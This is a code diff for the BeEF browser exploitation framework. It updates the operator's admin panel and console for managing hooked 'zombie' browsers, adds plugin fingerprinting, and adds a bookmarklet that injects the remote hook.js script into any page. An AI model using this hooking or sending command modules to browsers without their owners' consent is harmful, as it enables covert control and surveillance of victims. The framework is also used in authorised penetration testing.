-      
+
   end
-  
+
   # Attaches an command_module to a zombie.
   def attach_command_module
-    
+
     definition = {}
 
     # get params
@@ -729,8 +432,8 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     nonce = @params['nonce'] || nil
     (print_error "nonce is nil";return) if nonce.nil?
     (print_error "nonce incorrect";return) if @session.get_nonce != nonce
-    
-    @params.keys.each {|param| 
+
+    @params.keys.each {|param|
       (print_error "invalid key param string";return) if not BeEF::Filters.has_valid_param_chars?(param)
       (print_error "first char is num";return) if BeEF::Filters.first_char_is_num?(param)
       definition[param[4..-1]] = params[param]
@@ -749,10 +452,10 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     exec_results = BeEF::Module.execute(mod_key, zombie_session, def2)
     @body = (exec_results != nil) ? '{success: true}' : '{success: false}'
   end
-  
+
   # Re-execute an command_module to a zombie.
   def reexecute_command_module
-    
+
     # get params
     command_id = @params['command_id'] || nil
     (print_error "Command id is nil";return) if command_id.nil?
@@ -762,15 +465,15 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     nonce = @params['nonce'] || nil
     (print_error "nonce is nil";return) if nonce.nil?
     (print_error "nonce incorrect";return) if @session.get_nonce != nonce
-    
+
     command.instructions_sent = false
     command.save
-    
+
     @body = '{success : true}'
   end
 
   def attach_dynamic_command_module
-    
+
     definition = {}
 
     # get params
@@ -782,8 +485,8 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     nonce = @params['nonce'] || nil
     (print_error "nonce is nil";return) if nonce.nil?
     (print_error "nonce incorrect";return) if @session.get_nonce != nonce
-    
-    @params.keys.each {|param| 
+
+    @params.keys.each {|param|
       (print_error "invalid key param string";return) if not BeEF::Filters.has_valid_param_chars?(param)
       (print_error "first char is num";return) if BeEF::Filters.first_char_is_num?(param)
       definition[param[4..-1]] = params[param]
@@ -825,11 +528,11 @@ class Modules < BeEF::Extension::AdminUI::HttpController
 
 
   end
-  
+
   # Returns the results of a command
   def select_command_results
     results = []
-    
+
     # get params
     command_id = @params['command_id']|| nil
     (print_error "Command id is nil";return) if command_id.nil?
@@ -839,24 +542,24 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     # get command_module
     command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
     (print_error "command_module is nil";return) if command_module.nil?
-    
+
     resultsdb = BeEF::Core::Models::Result.all(:command_id => command_id)
     (print_error "Command id result is nil";return) if resultsdb.nil?
-    
+
     resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
-    
+
     @body = {
-      'success'             => 'true', 
+      'success'             => 'true',
       'command_module_name' => command_module.name,
       'command_module_id'   => command_module.id,
       'results'             => results}.to_json
 
   end
-  
+
   # Returns the definition of a command.
   # In other words it returns the command that was used to command_module a zombie.
   def select_command
-    
+
     # get params
     command_id = @params['command_id'] || nil
     (print_error "Command id is nil";return) if command_id.nil?
@@ -873,9 +576,9 @@ class Modules < BeEF::Extension::AdminUI::HttpController
       command_module_name = command_module.name
       e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name)
     end
-            
+
     @body = {
-      'success' => 'true', 
+      'success' => 'true',
       'command_module_name'  => command_module_name,
       'command_module_id'    => command_module.id,
       'data'                 => BeEF::Module.get_options(command_module_name),
@@ -883,9 +586,9 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     }.to_json
 
   end
-  
+
   private
-  
+
   # Takes a list of command_modules and returns them as a JSON array
   def command_modules2json(command_modules)
     command_modules_json = {}
@@ -901,7 +604,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
         command_modules_json[i] = h
         i += 1
     end
-    
+
     if not command_modules_json.empty?
       return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
     else
@@ -912,15 +615,15 @@ class Modules < BeEF::Extension::AdminUI::HttpController
   # return the input requred for the module in JSON format
   def dynamic_modules2json(id)
     command_modules_json = {}
-    
+
     mod = BeEF::Core::Models::CommandModule.first(:id => id)
 
     # if the module id is not in the database return false
     return {'success' => 'false'}.to_json if(not mod)
-    
+
     # the path will equal Dynamic/<type> and this will get just the type
 		dynamic_type = mod.path.split("/").last
-		
+
     e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
     e.update_info(mod.id)
     e.update_data()
@@ -947,7 +650,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
     return {'success' => 'true', 'command_modules' => payload_options_json}.to_json
 
   end
-  
+
 end
 
 end

extensions/admin_ui/controllers/panel/index.html

@@ -60,6 +60,8 @@
 <body>
 	<%= nonce_tag %>	
 	<div id="header">
+		<div class="left-menu" id="header-right">
+		</div>
 		<div class="right-menu">
 			<img src="/ui/media/images/favicon.ico" alt="BeEF" title="BeEF" /> 
 			BeEF <%= BeEF::Core::Configuration.instance.get('beef.version') %> | 

extensions/admin_ui/controllers/panel/panel.rb

@@ -76,37 +76,51 @@ module BeEF
           # create a hash of simple hooked browser details
           def get_simple_hooked_browser_hash(hooked_browser)
 
-            browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
+            browser_name    = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName')
             browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion')
-            browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
-            os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
-            os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
-            hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
-            hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
-            domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
-            has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
+            browser_icon    = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
+            os_icon         = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
+            os_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName')
+            hw_icon         = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session)
+            hw_name         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware')
+            domain          = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
+            has_flash       = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash')
             has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
             has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
-            has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
-            date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
+            has_java        = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
+            has_activex     = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasActiveX')
+            has_silverlight = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasSilverlight')
+            has_quicktime   = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
+            has_realplayer  = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasRealPlayer')
+            has_wmp         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWMP') 
+            has_vlc         = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasVLC')
+            has_foxit       = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFoxit')
+            date_stamp      = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
 
             return {
-                'session' => hooked_browser.session,
-                'ip' => hooked_browser.ip,
-                'domain' => domain,
-                'port' => hooked_browser.port.to_s,
-                'browser_name' => browser_name,
+                'session'         => hooked_browser.session,
+                'ip'              => hooked_browser.ip,
+                'domain'          => domain,
+                'port'            => hooked_browser.port.to_s,
+                'browser_name'    => browser_name,
                 'browser_version' => browser_version,
-                'browser_icon' => browser_icon,
-                'os_icon' => os_icon,
-                'os_name' => os_name,
-                'hw_icon' => hw_icon,
-                'hw_name' => hw_name,
-                'has_flash' => has_flash,
+                'browser_icon'    => browser_icon,
+                'os_icon'         => os_icon,
+                'os_name'         => os_name,
+                'hw_icon'         => hw_icon,
+                'hw_name'         => hw_name,
+                'has_flash'       => has_flash,
                 'has_web_sockets' => has_web_sockets,
                 'has_googlegears' => has_googlegears,
-                'has_java' => has_java,
-                'date_stamp' => date_stamp
+                'has_java'        => has_java,
+                'has_activex'     => has_activex,
+                'has_silverlight' => has_silverlight,
+                'has_quicktime'   => has_quicktime,
+                'has_wmp'         => has_wmp,
+                'has_vlc'         => has_vlc,
+                'has_foxit'       => has_foxit,
+                'has_realplayer'  => has_realplayer,
+                'date_stamp'      => date_stamp
             }
 
           end

extensions/admin_ui/media/css/base.css

@@ -5,13 +5,24 @@
  */
 
 #header .right-menu {
+	width: 300px;
 	float: right;
-	margin: 10px;
+	margin: 3px 3px 0 4px;
 	word-spacing: 5px;
 	font: 11px arial, tahoma, verdana, helvetica;
 	color:#000;
 }
 
+#header .left-menu {
+	width: 300px;
+	float: left;
+	margin: 10px 4px 0 20px;
+	word-spacing: 5px;
+	font: 11px arial, tahoma, verdana, helvetica;
+	font-weight: bolder;
+	color:red;
+}
+
 #header a:link,
 #header a:visited {
 	color:#000;

extensions/admin_ui/media/javascript/ui/panel/DataGrid.js

@@ -18,10 +18,10 @@ DataGrid = function(url, page, base) {
         storeId: 'myStore',
         baseParams: this.base,
         idProperty: 'id',
-        fields: ['id','type','event','date'],
+        fields: ['id','type','event','date','hooked_browser_id'],
         totalProperty: 'count',
         remoteSort: false,
-        sortInfo: {field: "date", direction: "DESC"}
+        sortInfo: {field: "id", direction: "DESC"}
     });
 
     this.bbar = new Ext.PagingToolbar({
@@ -35,9 +35,10 @@ DataGrid = function(url, page, base) {
     this.columns = [{
 			id: 'log-id',
 			header: 'Id',
-			hidden: true,
+			hidden: false,
 			dataIndex: 'id',
-			sortable: false
+			sortable: true,
+			width: 20
 		}, {
 			id: 'log-type',
 			header: "Type",
@@ -61,6 +62,12 @@ DataGrid = function(url, page, base) {
 			width: 80,
 			renderer:  $jEncoder.encoder.encodeForHTML(this.formatDate),
 			sortable:true
+		}, {
+			id: 'log-browser',
+			header: "Browser ID",
+			dataIndex: 'hooked_browser_id',
+			sortable: true,
+			width: 35
     }];
 
     DataGrid.superclass.constructor.call(this, {
@@ -78,7 +85,7 @@ DataGrid = function(url, page, base) {
 		
 		listeners: {
 			afterrender: function(datagrid) {
-				datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"date", dir:"DESC"}});
+				datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"id", dir:"DESC"}});
 			}
 		}
     });

extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js

@@ -42,19 +42,39 @@ Ext.onReady(function() {
  * This event updater retrieves updates every 8 seconds. Those updates
  * are then pushed to various managers (i.e. the zombie manager).
  */
+var lastpoll = new Date().getTime();
+
 Ext.TaskMgr.start({
 	run: function() {
 		Ext.Ajax.request({
 			url: '/ui/panel/hooked-browser-tree-update.json',
 			method: 'POST',
 			success: function(response) {
-				var updates = Ext.util.JSON.decode(response.responseText);
+				var updates;
+				try {
+					updates = Ext.util.JSON.decode(response.responseText);
+				} catch (e) {
+					//The framework has probably been reset and you're actually logged out
+					var hr = document.getElementById("header-right");
+					hr.innerHTML = "You appear to be logged out. <a href='/ui/panel/'>Login</a>";
+				}
 				var distributed_engine_rules = (updates['ditributed-engine-rules']) ? updates['ditributed-engine-rules'] : null;
 				var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null;
 				
 				if(zombiesManager && hooked_browsers) {
 					zombiesManager.updateZombies(hooked_browsers, distributed_engine_rules);
 				}
+				lastpoll = new Date().getTime();
+				var hr = document.getElementById("header-right");
+				hr.innerHTML = "";
+			},
+			failure: function(response) {
+				var timenow = new Date().getTime();
+
+				if ((timenow - lastpoll) > 60000) {
+					var hr = document.getElementById("header-right");
+					hr.innerHTML = "Framework is down";
+				}
 			}
 		});
 	},

extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js

@@ -6,6 +6,10 @@
 
 WelcomeTab = function() {
 
+    var hookURL = location.protocol+'%2f%2f'+location.hostname+(location.port ? ':'+location.port : '')+'%2fhook.js';
+    var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27__HOOKURL__%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();"
+    bookmarklet = bookmarklet.replace(/__HOOKURL__/,hookURL);
+
     welcome = " \
               <div style='font:11px tahoma,arial,helvetica,sans-serif;width:500px' > \
               <p><img src='/ui/media/images/beef.jpg' alt='BeEF - The Browser Exploitation Framework' /></p><br /> \
@@ -13,6 +17,7 @@ WelcomeTab = function() {
               <p><span style='font:bold 13px tahoma,arial,helvetica,sans-serif'>Getting Started</span></p><br />\
               <p>Welcome to BeEF!</p><br /> \
               <p>Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page <a href='/demos/basic.html' target='_blank'>here</a>, or the advanced version <a href='/demos/butcher/index.html' target='_blank'>here</a>.</p><br /> \
+              <p>If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link into your browser's bookmark bar, then simply click the shortcut on another page: <a href='__BOOKMARKLETURL__'>Hook Me!</a></p><br /> \
               <p>After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework.</p><br /> \
               <p><span style='font:bold 13px tahoma,arial,helvetica,sans-serif'>Hooked Browsers</span></p><br />\
               <p>To interact with a hooked browser simply left-click it, a new tab will appear. \
@@ -46,7 +51,9 @@ WelcomeTab = function() {
               </div>\
               ";
 
-    WelcomeTab.superclass.constructor.call(this, {
+  welcome = welcome.replace(/__BOOKMARKLETURL__/,bookmarklet);
+
+  WelcomeTab.superclass.constructor.call(this, {
 	region:'center',
 	padding:'10 10 10 10',
 	html: welcome,

extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js

@@ -5,10 +5,10 @@
 //
 
 var ZombiesMgr = function(zombies_tree_lists) {
-	
+
 	//save the list of trees in the object
 	this.zombies_tree_lists = zombies_tree_lists;
-	
+
 	// this is a helper class to create a zombie object from a JSON hash index
 	this.zombieFactory = function(index, zombie_array){
 
@@ -26,7 +26,14 @@ var ZombiesMgr = function(zombies_tree_lists) {
 		var has_flash          = zombie_array[index]["has_flash"];
 		var has_web_sockets    = zombie_array[index]["has_web_sockets"];
 		var has_googlegears    = zombie_array[index]["has_googlegears"];
-        var has_java           = zombie_array[index]["has_java"];
+		var has_java           = zombie_array[index]["has_java"];
+		var has_activex        = zombie_array[index]["has_activex"];
+        var has_wmp            = zombie_array[index]["has_wmp"]; 
+		var has_vlc            = zombie_array[index]["has_vlc"];
+        var has_foxit          = zombie_array[index]["has_foxit"];
+		var has_silverlight    = zombie_array[index]["has_silverlight"];
+		var has_quicktime      = zombie_array[index]["has_quicktime"];
+		var has_realplayer     = zombie_array[index]["has_realplayer"];
 		var date_stamp         = zombie_array[index]["date_stamp"];
 
 		text = "<img src='/ui/media/images/icons/"+escape(browser_icon)+"' style='padding-top:3px;' width='13px' height='13px'/> ";
@@ -42,9 +49,16 @@ var ZombiesMgr = function(zombies_tree_lists) {
 		balloon_text+= "<br/>Flash: "          + has_flash;
         balloon_text+= "<br/>Java: "           + has_java;
         balloon_text+= "<br/>Web Sockets: "    + has_web_sockets;
+		balloon_text+= "<br/>ActiveX: "        + has_activex;
+		balloon_text+= "<br/>Silverlight: "    + has_silverlight;
+		balloon_text+= "<br/>QuickTime: "      + has_quicktime;
+        balloon_text+= "<br/>Windows MediaPlayer: " + has_wmp; 
+        balloon_text+= "<br/>VLC: "            + has_vlc;
+        balloon_text+= "<br/>Foxit: "          + has_foxit;
+		balloon_text+= "<br/>RealPlayer: "     + has_realplayer;
 		balloon_text+= "<br/>Google Gears: "   + has_googlegears;
 		balloon_text+= "<br/>Date: "           + date_stamp;
-		
+
 		var new_zombie = {
 			'id'           : index,
 			'ip'           : ip,
@@ -55,10 +69,10 @@ var ZombiesMgr = function(zombies_tree_lists) {
 			'domain'       : domain,
             'port'         : port
 		};
-		
+
 		return new_zombie;
 	}
-	
+
 	/*
 	 * Update the hooked browser trees
 	 * @param: {Literal Object} an object containing the list of offline and online hooked browsers.
@@ -67,33 +81,33 @@ var ZombiesMgr = function(zombies_tree_lists) {
 	this.updateZombies = function(zombies, rules){
 		var offline_hooked_browsers = zombies["offline"];
 		var online_hooked_browsers = zombies["online"];
-		
+
 		for(tree_type in this.zombies_tree_lists) {
 			hooked_browsers_tree = this.zombies_tree_lists[tree_type];
-			
+
 			//we compare and remove the hooked browsers from online and offline branches for each tree.
 			hooked_browsers_tree.compareAndRemove(zombies);
-			
+
 			//add an offline browser to the tree
 			for(var i in offline_hooked_browsers) {
 				var offline_hooked_browser = this.zombieFactory(i, offline_hooked_browsers);
 				hooked_browsers_tree.addZombie(offline_hooked_browser, false, ((tree_type != 'basic') ? true : false));
 			}
-			
+
 			//add an online browser to the tree
 			for(var i in online_hooked_browsers) {
 				var online_hooked_browser = this.zombieFactory(i, online_hooked_browsers);
 				hooked_browsers_tree.addZombie(online_hooked_browser, true, ((tree_type != 'basic') ? true : false));
 			}
-			
+
 			//apply the rules to the tree
 			hooked_browsers_tree.applyRules(rules);
-			
+
 			//expand the online hooked browser tree lists
 			if(hooked_browsers_tree.online_hooked_browsers_treenode.childNodes.length > 0) {
 				hooked_browsers_tree.online_hooked_browsers_treenode.expand(true);
 			}
-			
+
 			//expand the offline hooked browser tree lists
 			if(hooked_browsers_tree.offline_hooked_browsers_treenode.childNodes.length > 0) {
 				hooked_browsers_tree.offline_hooked_browsers_treenode.expand(true);

extensions/admin_ui/media/javascript/ui/panel/common.js

@@ -249,12 +249,24 @@ function genExistingExploitPanel(panel, command_id, zombie, sb) {
 							html = String.format("<div style='color:#385F95;text-align:right;'>{0}</div>", value);
 							html += '<p>';
 							for(index in record.data.data) {
-								result = record.data.data[index];
+								result = $jEncoder.encoder.encodeForHTML(record.data.data[index]).replace(/&lt;br&gt;/g,'<br>');
 								index = index.toString().replace('_', ' ');
-                                //output escape everything, but allow the <br> tag for better rendering.
-								html += String.format('<b>{0}</b>: {1}<br>', index, $jEncoder.encoder.encodeForHTML(result).replace(/&lt;br&gt;/g,'<br>'));
+								// Check if the data is the image parameter and that it's a base64 encoded png.
+								if (result.substring(0,28) == "image=data:image/png;base64,") {
+									// Lets display the image
+									try {
+										base64_data = window.atob(result.substring(29,result.length));
+										html += String.format('<img src="{0}" /><br>', result.substring(6));
+									} catch(e) {
+										beef.debug("Received invalid base64 encoded image string: "+e.toString());
+										html += String.format('<b>{0}</b>: {1}<br>', index, result);
+									}
+								} else {
+									// output escape everything, but allow the <br> tag for better rendering.
+									html += String.format('<b>{0}</b>: {1}<br>', index, result);
+								}
 							}
-							
+
 							html += '</p>';
 							return html;
 						}

extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabIpec.js

@@ -33,7 +33,7 @@ ZombieTab_IpecTab = function(zombie) {
                 id = data.id;
             },
             error: function(){
-                console.log("Error getting module id.");
+                beef.debug("Error getting module id.");
             }
         });
         return id;
@@ -110,11 +110,11 @@ ZombieTab_IpecTab = function(zombie) {
                     async: false,
                     processData: false,
                     success: function(data){
-                        console.log("data: " + data.command_id);
+                        beef.debug("data: " + data.command_id);
                         result = "Command [" + data.command_id + "] sent successfully";
                     },
                     error: function(){
-                        console.log("Error sending command");
+                        beef.debug("Error sending command");
                         return "Error sending command";
                     }
                 });
@@ -142,13 +142,13 @@ ZombieTab_IpecTab = function(zombie) {
                         processData: false,
                         success: function(data){
                             $jwterm.each(data, function(i){
-                                console.log("result [" + i +"]: " + $jwterm.parseJSON(data[i].data).data);
+                                beef.debug("result [" + i +"]: " + $jwterm.parseJSON(data[i].data).data);
                                 results += $jwterm.parseJSON(data[i].data).data;
                             });
 
                         },
                         error: function(){
-                            console.log("Error sending command");
+                            beef.debug("Error sending command");
                             return "Error sending command";
                         }
                     });

extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js

@@ -32,7 +32,7 @@ ZombieTab_Requester = function(zombie) {
 		title: 'Proxy',
 		layout: 'fit',
 		padding: '10 10 10 10',
-                html: "<p style='font:11px tahoma,arial,helvetica,sans-serif'>The Tunneling Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \"Use as Proxy\". Each request sent through the Proxy is recorded in the History panel in the Rider tab. Click a history item to view the HTTP headers and HTML source of the HTTP response.</p>",
+                html: "<div style='font:11px tahoma,arial,helvetica,sans-serif;width:500px' ><p style='font:11px tahoma,arial,helvetica,sans-serif'>The Tunneling Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \"Use as Proxy\".</p><p style='margin: 10 0 10 0'><img src='/ui/media/images/help/proxy.png'></p><p>The proxy runs on localhost port 6789 by default. Each request sent through the Proxy is recorded in the History panel in the Rider tab. Click a history item to view the HTTP headers and HTML source of the HTTP response.</p><p style='margin: 10 0 10 0'><img src='/ui/media/images/help/history.png'></p><p style='font:11px tahoma,arial,helvetica,sans-serif'>To manually forge an arbitrary HTTP request use the \"Forge Request\" tab from the Rider tab.</p><p style='margin: 10 0 10 0'><img src='/ui/media/images/help/forge.png'></p><p style='font:11px tahoma,arial,helvetica,sans-serif'>For more information see: <a href=\"https://github.com/beefproject/beef/wiki/Tunneling\">https://github.com/beefproject/beef/wiki/Tunneling</a></p></div>",
 		listeners: {
 			activate: function(proxy_panel) {
 				// to do: refresh list of hooked browsers

extensions/console/lib/command_dispatcher/command.rb

@@ -10,9 +10,18 @@ module CommandDispatcher
   
 class Command
   include BeEF::Extension::Console::CommandDispatcher
+
+  @@params = []
   
   def initialize(driver)
     super
+    begin 
+      driver.interface.cmd['Data'].each{|data|
+        @@params << data['name']
+      }
+    rescue
+      return
+    end
   end
   
   def commands
@@ -41,12 +50,16 @@ class Command
     }
       
     print_line("Module name: " + driver.interface.cmd['Name'])
-    print_line("Module category: " + driver.interface.cmd['Category'])
+    print_line("Module category: " + driver.interface.cmd['Category'].to_s)
     print_line("Module description: " + driver.interface.cmd['Description'])
     print_line("Module parameters:") if not driver.interface.cmd['Data'].length == 0
 
     driver.interface.cmd['Data'].each{|data|
-      print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'])
+      if data['type'].eql?("combobox")
+        print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'] + " (Options include: " + data['store_data'].to_s + ")")
+      else
+        print_line(data['name'] + " => \"" + data['value'].to_s + "\" # " + data['ui_label'])
+      end
     } if not driver.interface.cmd['Data'].nil?
   end
   
@@ -80,6 +93,16 @@ class Command
     print_status("Sets parameters for the current modules. Run \"cmdinfo\" to see the parameter values")
     print_status("  Usage: param <paramname> <paramvalue>")
   end
+
+  def cmd_param_tabs(str,words)
+    return if words.length > 1
+
+    if @@params == ""
+      #nothing prepopulated?
+    else
+      return @@params
+    end
+  end
   
   def cmd_execute(*args)
     @@bare_opts.parse(args) {|opt, idx, val|
@@ -119,6 +142,7 @@ class Command
         ])
 
     if args[0] == nil
+      lastcmdid = nil
       driver.interface.getcommandresponses.each do |resp|
         indiresp = driver.interface.getindividualresponse(resp['object_id'])
         respout = ""
@@ -126,6 +150,7 @@ class Command
           respout = "No response yet"
         else
           respout = Time.at(indiresp[0]['date'].to_i).to_s
+          lastcmdid = resp['object_id']
         end
         tbl << [resp['object_id'].to_s, resp['creationdate'], respout]
       end
@@ -133,6 +158,16 @@ class Command
       puts "\n"
       puts "List of responses for this command module:\n"
       puts tbl.to_s + "\n"
+
+      if not lastcmdid.nil?
+        resp = driver.interface.getindividualresponse(lastcmdid)
+        puts "\n"
+        print_line("The last response [" + lastcmdid.to_s + "] was retrieved: " + Time.at(resp[0]['date'].to_i).to_s)
+        print_line("Response:")
+        resp.each do |op|
+          print_line(op['data']['data'].to_s)
+        end
+      end
     else
       output = driver.interface.getindividualresponse(args[0])
       if output.nil?

extensions/console/lib/command_dispatcher/core.rb

@@ -141,12 +141,14 @@ class Core
         [
           'Id',
           'IP',
+          'Hook Host',
           'Browser',
-          'OS'
+          'OS',
+          'Hardware'
         ])
     
     BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie|
-      tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
+      tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session,"HostName").to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')]
     end
     
     puts "\n"
@@ -173,12 +175,14 @@ class Core
         [
           'Id',
           'IP',
+          'Hook Host',
           'Browser',
-          'OS'
+          'OS',
+          'Hardware'
         ])
     
     BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)).each do |zombie|
-      tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName')+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName')]
+      tbl << [zombie.id,zombie.ip,BeEF::Core::Models::BrowserDetails.get(zombie.session,"HostName").to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserName').to_s+"-"+BeEF::Core::Models::BrowserDetails.get(zombie.session, 'BrowserVersion').to_s,BeEF::Core::Models::BrowserDetails.get(zombie.session, 'OsName'),BeEF::Core::Models::BrowserDetails.get(zombie.session, 'Hardware')]
     end
     
     puts "\n"
@@ -282,12 +286,21 @@ class Core
       offlinezombies << zombie.id
     end
     
-    if not offlinezombies.include?(args[0].to_i)
-      print_status("Browser does not appear to be offline..")
-      return false
-    end
+    targets = args[0].split(',')
+    targets.each {|t|
+        if not offlinezombies.include?(t.to_i)
+          print_status("Browser [id:"+t.to_s+"] does not appear to be offline.")
+          return false
+        end
+    #print_status("Adding browser [id:"+t.to_s+"] to target list.")
+    }
+
+    # if not offlinezombies.include?(args[0].to_i)
+    #   print_status("Browser does not appear to be offline..")
+    #   return false
+    # end
     
-    if not driver.interface.setofflinetarget(args[0]).nil?
+    if not driver.interface.setofflinetarget(targets).nil?
       if (driver.dispatcher_stack.size > 1 and
 	      driver.current_dispatcher.name != 'Core')
 	      driver.destack_dispatcher
@@ -298,7 +311,7 @@ class Core
       if driver.interface.targetid.length > 1
         driver.update_prompt("(%bld%redMultiple%clr) ["+driver.interface.targetid.join(",")+"] ")
       else
-        driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.to_s+"] ")
+        driver.update_prompt("(%bld%red"+driver.interface.targetip+"%clr) ["+driver.interface.targetid.first.to_s+"] ")
       end
     end  
     
@@ -326,7 +339,12 @@ class Core
         driver.run_single("offline")
       when 'commands'
         if driver.dispatched_enstacked(Target)
+          if args[1] == "-s" and not args[2].nil?
+           driver.run_single("commands #{args[1]} #{args[2]}")
+           return
+         else
           driver.run_single("commands")
+        end
         else
           print_error("You aren't targeting a zombie yet")
         end

extensions/console/lib/command_dispatcher/target.rb

@@ -18,7 +18,7 @@ class Target
     begin
       driver.interface.getcommands.each { |folder|
         folder['children'].each { |command|
-          @@commands << folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
+          @@commands << folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
         }
       }
     rescue
@@ -40,17 +40,29 @@ class Target
   
   @@bare_opts = Rex::Parser::Arguments.new(
 	  "-h" => [ false, "Help."              ])
+
+  @@commands_opts = Rex::Parser::Arguments.new(
+    "-h" => [ false, "Help."],
+    "-s" => [ false, "<search term>"],
+    "-r" => [ false, "List modules which have responses against them only"])
   
   def cmd_commands(*args)
+
+    searchstring = nil
+    responly = nil
     
-    @@bare_opts.parse(args) {|opt, idx, val|
+    @@commands_opts.parse(args) {|opt, idx, val|
       case opt
         when "-h"
           cmd_commands_help
           return false
+        when "-s"
+          searchstring = args[1].downcase if not args[1].nil?
+        when "-r"
+          responly = true
         end
     }
-    
+
     tbl = Rex::Ui::Text::Table.new(
       'Columns' =>
         [
@@ -63,10 +75,29 @@ class Target
     
     driver.interface.getcommands.each { |folder|
       folder['children'].each { |command|
-        tbl << [command['id'].to_i,
-                folder['text'] + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_"),
+
+        cmdstring = folder['text'].gsub(/\s/,"_") + command['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
+
+        if not searchstring.nil?
+          if not cmdstring.downcase.index(searchstring).nil?
+            tbl << [command['id'].to_i,
+                cmdstring,
                 command['status'].gsub(/^Verified /,""),
                 driver.interface.getcommandresponses(command['id']).length] #TODO
+          end
+        elsif not responly.nil?
+             tbl << [command['id'].to_i,
+                cmdstring,
